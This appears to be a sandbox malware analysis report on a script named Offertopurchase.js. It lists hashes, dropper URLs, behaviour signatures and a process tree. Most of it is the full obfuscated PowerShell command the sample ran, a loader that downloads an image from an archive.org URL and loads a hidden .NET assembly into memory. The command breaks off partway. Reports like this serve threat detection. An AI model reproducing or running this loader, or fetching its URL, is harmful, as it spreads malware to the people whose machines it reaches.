Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
-
submitted
07-08-2024 06:48
General
-
Target
Offertopurchase.js
-
Size
329KB
-
MD5
b4105714b83cef4f0d8d859364cd6322
-
SHA1
448f53b0c979beb7305db50a282bef00043e6840
-
SHA256
f7012ceb3f5f17167f1b0eb83dc97b3064ea92dc81d1151a2218112895142afd
-
SHA512
91a19c5e098351e053de13d4c8ebe3677f2fec4aac7a63169a30ea147c75b0ce734e11011724ff6d7be7e7b2311ce9663ef9b6c52f2172febaca2c2f7cb03f0a
-
SSDEEP
768:P7rCumqiWTinPK6eOK6mW3XKqe+KqmG9NqaeOqamWX3qKuH+qKmGxBK6eOK6mW3G:rdvJ5strohpUtg1vx
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
exe.dropper
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Offertopurchase.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J䷡ ㌝ ₋ ⊩ ´Bp䷡ ㌝ ₋ ⊩ ´G0䷡ ㌝ ₋ ⊩ ´YQBn䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´VQBy䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´JwBo䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bw䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´Og䷡ ㌝ ₋ ⊩ ´v䷡ ㌝ ₋ ⊩ ´C8䷡ ㌝ ₋ ⊩ ´aQBh䷡ ㌝ ₋ ⊩ ´DY䷡ ㌝ ₋ ⊩ ´M䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´x䷡ ㌝ ₋ ⊩ ´DY䷡ ㌝ ₋ ⊩ ´M䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´2䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´dQBz䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´YQBy䷡ ㌝ ₋ ⊩ ´GM䷡ ㌝ ₋ ⊩ ´a䷡ ㌝ ₋ ⊩ ´Bp䷡ ㌝ ₋ ⊩ ´HY䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´u䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´cgBn䷡ ㌝ ₋ ⊩ ´C8䷡ ㌝ ₋ ⊩ ´MQ䷡ ㌝ ₋ ⊩ ´w䷡ ㌝ ₋ ⊩ ´C8䷡ ㌝ ₋ ⊩ ´aQB0䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bQBz䷡ ㌝ ₋ ⊩ ´C8䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bo䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´bwB0䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´Xw䷡ ㌝ ₋ ⊩ ´y䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´Mg䷡ ㌝ ₋ ⊩ ´0䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´Nw䷡ ㌝ ₋ ⊩ ´v䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´ZQBh䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´a䷡ ㌝ ₋ ⊩ ´Bu䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´agBw䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´Jw䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´dwBl䷡ ㌝ ₋ ⊩ ´GI䷡ ㌝ ₋ ⊩ ´QwBs䷡ ㌝ ₋ ⊩ ´Gk䷡ ㌝ ₋ ⊩ ´ZQBu䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´TgBl䷡ ㌝ ₋ ⊩ ´Hc䷡ ㌝ ₋ ⊩ ´LQBP䷡ ㌝ ₋ ⊩ ´GI䷡ ㌝ ₋ ⊩ ´agBl䷡ ㌝ ₋ ⊩ ´GM䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´eQBz䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´ZQBt䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´TgBl䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´LgBX䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´YgBD䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´aQBl䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´aQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´ZwBl䷡ ㌝ ₋ ⊩ ´EI䷡ ㌝ ₋ ⊩ ´eQB0䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´cw䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´D0䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´Hc䷡ ㌝ ₋ ⊩ ´ZQBi䷡ ㌝ ₋ ⊩ ´EM䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bp䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bgB0䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´R䷡ ㌝ ₋ ⊩ ´Bv䷡ ㌝ ₋ ⊩ ´Hc䷡ ㌝ ₋ ⊩ ´bgBs䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´YQBk䷡ ㌝ ₋ ⊩ ´EQ䷡ ㌝ ₋ ⊩ ´YQB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´K䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´Gk䷡ ㌝ ₋ ⊩ ´bQBh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´ZQBV䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´p䷡ ㌝ ₋ ⊩ ´Ds䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bp䷡ ㌝ ₋ ⊩ ´G0䷡ ㌝ ₋ ⊩ ´YQBn䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´V䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Hg䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´D0䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´Bb䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´eQBz䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´ZQBt䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´V䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Hg䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´u䷡ ㌝ ₋ ⊩ ´EU䷡ ㌝ ₋ ⊩ ´bgBj䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bp䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´ZwBd䷡ ㌝ ₋ ⊩ ´Do䷡ ㌝ ₋ ⊩ ´OgBV䷡ ㌝ ₋ ⊩ ´FQ䷡ ㌝ ₋ ⊩ ´Rg䷡ ㌝ ₋ ⊩ ´4䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´RwBl䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´UwB0䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´aQBu䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´K䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´Gk䷡ ㌝ ₋ ⊩ ´bQBh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´ZQBC䷡ ㌝ ₋ ⊩ ´Hk䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´KQ䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´EY䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´Jw䷡ ㌝ ₋ ⊩ ´8䷡ ㌝ ₋ ⊩ ´Dw䷡ ㌝ ₋ ⊩ ´QgBB䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´RQ䷡ ㌝ ₋ ⊩ ´2䷡ ㌝ ₋ ⊩ ´DQ䷡ ㌝ ₋ ⊩ ´XwBT䷡ ㌝ ₋ ⊩ ´FQ䷡ ㌝ ₋ ⊩ ´QQBS䷡ ㌝ ₋ ⊩ ´FQ䷡ ㌝ ₋ ⊩ ´Pg䷡ ㌝ ₋ ⊩ ´+䷡ ㌝ ₋ ⊩ ´Cc䷡ ㌝ ₋ ⊩ ´Ow䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´EY䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´Jw䷡ ㌝ ₋ ⊩ ´8䷡ ㌝ ₋ ⊩ ´Dw䷡ ㌝ ₋ ⊩ ´QgBB䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´RQ䷡ ㌝ ₋ ⊩ ´2䷡ ㌝ ₋ ⊩ ´DQ䷡ ㌝ ₋ ⊩ ´XwBF䷡ ㌝ ₋ ⊩ ´E4䷡ ㌝ ₋ ⊩ ´R䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´+䷡ ㌝ ₋ ⊩ ´D4䷡ ㌝ ₋ ⊩ ´Jw䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´Ek䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´e䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´D0䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´Gk䷡ ㌝ ₋ ⊩ ´bQBh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´ZQBU䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´e䷡ ㌝ ₋ ⊩ ´B0䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´SQBu䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´ZQB4䷡ ㌝ ₋ ⊩ ´E8䷡ ㌝ ₋ ⊩ ´Zg䷡ ㌝ ₋ ⊩ ´o䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´EY䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´KQ䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´ZQBu䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´SQBu䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´ZQB4䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´PQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´aQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´ZwBl䷡ ㌝ ₋ ⊩ ´FQ䷡ ㌝ ₋ ⊩ ´ZQB4䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´LgBJ䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Hg䷡ ㌝ ₋ ⊩ ´TwBm䷡ ㌝ ₋ ⊩ ´Cg䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´BG䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´YQBn䷡ ㌝ ₋ ⊩ ´Ck䷡ ㌝ ₋ ⊩ ´Ow䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´BJ䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Hg䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´t䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´D䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´t䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´BJ䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Hg䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´t䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´Ek䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´e䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´Ek䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´e䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´Cs䷡ ㌝ ₋ ⊩ ´PQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´EY䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bh䷡ ㌝ ₋ ⊩ ´Gc䷡ ㌝ ₋ ⊩ ´LgBM䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bgBn䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´a䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´7䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´YgBh䷡ ㌝ ₋ ⊩ ´HM䷡ ㌝ ₋ ⊩ ´ZQ䷡ ㌝ ₋ ⊩ ´2䷡ ㌝ ₋ ⊩ ´DQ䷡ ㌝ ₋ ⊩ ´T䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´ZwB0䷡ ㌝ ₋ ⊩ ´Gg䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´9䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´BJ䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Z䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´Hg䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´t䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bz䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´YQBy䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´SQBu䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´ZQB4䷡ ㌝ ₋ ⊩ ´Ds䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bi䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cwBl䷡ ㌝ ₋ ⊩ ´DY䷡ ㌝ ₋ ⊩ ´N䷡ ㌝ ₋ ⊩ ´BD䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´bQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´PQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´aQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´ZwBl䷡ ㌝ ₋ ⊩ ´FQ䷡ ㌝ ₋ ⊩ ´ZQB4䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´LgBT䷡ ㌝ ₋ ⊩ ´HU䷡ ㌝ ₋ ⊩ ´YgBz䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´cgBp䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´Zw䷡ ㌝ ₋ ⊩ ´o䷡ ㌝ ₋ ⊩ ´CQ䷡ ㌝ ₋ ⊩ ´cwB0䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cgB0䷡ ㌝ ₋ ⊩ ´Ek䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´e䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´s䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bi䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cwBl䷡ ㌝ ₋ ⊩ ´DY䷡ ㌝ ₋ ⊩ ´N䷡ ㌝ ₋ ⊩ ´BM䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bgBn䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´a䷡ ㌝ ₋ ⊩ ´䷡ ㌝ ₋ ⊩ ´p䷡ ㌝ ₋ ⊩ ´Ds䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bj䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´bQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´EI䷡ ㌝ ₋ ⊩ ´eQB0䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´cw䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´D0䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´Bb䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´eQBz䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´ZQBt䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´QwBv䷡ ㌝ ₋ ⊩ ´G4䷡ ㌝ ₋ ⊩ ´dgBl䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bd䷡ ㌝ ₋ ⊩ ´Do䷡ ㌝ ₋ ⊩ ´OgBG䷡ ㌝ ₋ ⊩ ´HI䷡ ㌝ ₋ ⊩ ´bwBt䷡ ㌝ ₋ ⊩ ´EI䷡ ㌝ ₋ ⊩ ´YQBz䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´Ng䷡ ㌝ ₋ ⊩ ´0䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´By䷡ ㌝ ₋ ⊩ ´Gk䷡ ㌝ ₋ ⊩ ´bgBn䷡ ㌝ ₋ ⊩ ´Cg䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bi䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´cwBl䷡ ㌝ ₋ ⊩ ´DY䷡ ㌝ ₋ ⊩ ´N䷡ ㌝ ₋ ⊩ ´BD䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´bQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´Ck䷡ ㌝ ₋ ⊩ ´Ow䷡ ㌝ ₋ ⊩ ´k䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´bwBh䷡ ㌝ ₋ ⊩ ´GQ䷡ ㌝ ₋ ⊩ ´ZQBk䷡ ㌝ ₋ ⊩ ´EE䷡ ㌝ ₋ ⊩ ´cwBz䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bQBi䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´eQ䷡ ㌝ ₋ ⊩ ´g䷡ ㌝ ₋ ⊩ ´D0䷡ ㌝ ₋ ⊩ ´I䷡ ㌝ ₋ ⊩ ´Bb䷡ ㌝ ₋ ⊩ ´FM䷡ ㌝ ₋ ⊩ ´eQBz䷡ ㌝ ₋ ⊩ ´HQ䷡ ㌝ ₋ ⊩ ´ZQBt䷡ ㌝ ₋ ⊩ ´C4䷡ ㌝ ₋ ⊩ ´UgBl䷡ ㌝ ₋ ⊩ ´GY䷡ ㌝ ₋ ⊩ ´b䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´GM䷡ ㌝ ₋ ⊩ ´d䷡ ㌝ ₋ ⊩ ´Bp䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´bg䷡ ㌝ ₋ ⊩ ´u䷡ ㌝ ₋ ⊩ ´EE䷡ ㌝ ₋ ⊩ ´cwBz䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´bQBi䷡ ㌝ ₋ ⊩ ´Gw䷡ ㌝ ₋ ⊩ ´eQBd䷡ ㌝ ₋ ⊩ ´Do䷡ ㌝ ₋ ⊩ ´OgBM䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´YQBk䷡ ㌝ ₋ ⊩ ´Cg䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´Bj䷡ ㌝ ₋ ⊩ ´G8䷡ ㌝ ₋ ⊩ ´bQBt䷡ ㌝ ₋ ⊩ ´GE䷡ ㌝ ₋ ⊩ ´bgBk䷡ ㌝ ₋ ⊩ ´EI䷡ ㌝ ₋ ⊩ ´eQB0䷡ ㌝ ₋ ⊩ ´GU䷡ ㌝ ₋ ⊩ ´cw䷡ ㌝ ₋ ⊩ ´p䷡ ㌝ ₋ ⊩ ´Ds䷡ ㌝ ₋ ⊩ ´J䷡ ㌝ ₋ ⊩ ´B0䷡ ㌝ ₋ ⊩ ´Hk䷡ ㌝ ₋ ⊩ ´c䷡ ㌝ ₋ ⊩ ´Bl䷡ ㌝ ₋ ⊩ ´C䷡ ㌝ ₋ ⊩ 